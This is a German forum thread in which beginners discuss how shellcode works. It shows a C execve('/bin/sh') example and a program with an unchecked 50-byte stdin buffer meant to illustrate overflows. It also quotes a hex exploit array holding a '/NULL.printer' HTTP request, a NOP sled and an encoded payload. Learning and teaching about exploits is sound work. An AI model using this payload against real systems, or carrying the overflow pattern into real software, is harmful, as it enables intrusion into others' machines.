Shellcode

  • Themenstarter Themenstarter KDSBest
  • Beginndatum Beginndatum
K

KDSBest

Guest
Hallo,

Ich habe eine frage wie kommt so ein Shellcode zusammen?
Ich lerne gerade assembler und weiss auch das 74 irgendein jmp ist, nur wie kriege ich wenn ich ein assembler code kompaliere ist das prog. viel viel größer als der shellcode.

Mich würde einfach interressieren wie kommt ein Shellcode zustande und was muss ich dafür alles wissen bzw. können?

Danke im vorraus.
 
Der Sinn eines Shellcodes ist es, eine /bin/sh auf einem Rechner zu öffnen.

Code:
#include <stdio.h>

main()
{
char *Befehl[2];
Befehl[0] = "/bin/sh";
Befehl[1] = NULL;
execve(Befehl[0], Befehl, NULL);
}

Das besondere ist, das man einen eigenen Code in das Programm "einschleusst". Damit dies erstmal klappt, benötigt man gute Kenntnisse in C und Assembler. Der eigentliche Shellcode "beschreibt" den ASM Code der "eingeschleust" wird. Buffer Overflows entdeckt man am einfachsten bei freier Software.

Ein Beispiel dafür ist z.B. :

Code:
int main()
{
	char buffer[50];
	int i = 0;

	while ( (buffer[i] = fgetc(stdin)) != '\n')
		i++;
	buffer[i] = '\0';
	printf("->%s<-\n", buffer);

	return 0;
}

Dies soll dir nu einen kleinen Einblick verschaffen. Das Gebiet ist sehr kompliziert aber auch sehr interesant. Lerne weiter Assembler und C. Schau dir Exploits an und versuche aus ihnen schlau zu werden. Änder den Code und beobachte was passiert. Viel Spas...
 
Und wie wandle ich den Assembler-Source in einen Hexadezimalcode um, so z.B?

unsigned char exploit[] =
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"

disassemblieren? wie mach ich das z.B mit nasm?

mfg
BleedingSoul
 
Zurück
Oben